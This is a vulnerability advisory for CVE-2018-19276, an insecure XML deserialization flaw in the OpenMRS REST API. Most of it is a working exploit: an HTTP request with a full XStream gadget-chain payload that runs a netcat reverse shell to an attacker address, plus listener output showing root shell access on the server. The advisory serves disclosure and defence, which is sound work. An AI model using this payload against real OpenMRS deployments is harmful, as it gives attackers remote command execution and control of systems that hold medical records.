Insecure Object Deserialization on the OpenMRS Platform Vulnerability Details CVE ID: CVE-2018-19276 Access Vector: Remote Security Risk: Critical Vulnerability: CWE-502 CVSS Base Score: 10.0 CVSS vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N JAVA 8 ENVIRONMENT By injecting an XML payload in the following body request to the REST API provided by the application, an attacker could execute arbitrary commands on the remote system. The request below could be used to exploit the vulnerability: POST /openmrs/ws/rest/v1/xxxxxx HTTP/1.1 Host: HOST Content-Type: text/xml <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/bin/sh</string> <string>-c</string> <string>nc -e /bin/sh 172.16.32.3 8000</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> The payload above was generated with the marshalsec tool and adapted to use multiple arguments because the original payload would not work well if the attacker need to send several arguments to a Linux host.. After the payload was sent, the handler successfully received a response: ~ A>> nc -vlp 8000 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: 5DE4 9A26 3868 367D 8104 B043 CE14 BAD6 5CC9 DE51 Ncat: Listening on :::8000 Ncat: Listening on 0.0.0.0:8000 Ncat: Connection from 172.16.32.2. Ncat: Connection from 172.16.32.2:52434. id uid=0(root) gid=0(root) groups=0(root) pwd /usr/local/tomcat The response should contain an error message similar to the one below: {"error":{"message":"[Could not read [class org.openmrs.module.webservices.rest.SimpleObject]; nested exception is org.springframework.oxm.UnmarshallingFailureException: XStream unmarshalling exception; nested exception is com.thoughtworks.xstream.converters.ConversionException: java.lang.String cannot be cast to java.security.Provider$Service a|omitted for brevitya| The response above showed that the REST Web Services module was unable to process the request properly. However, the payload was deserialized before it is caught by the exception handler, which allowed the team to gain shell access.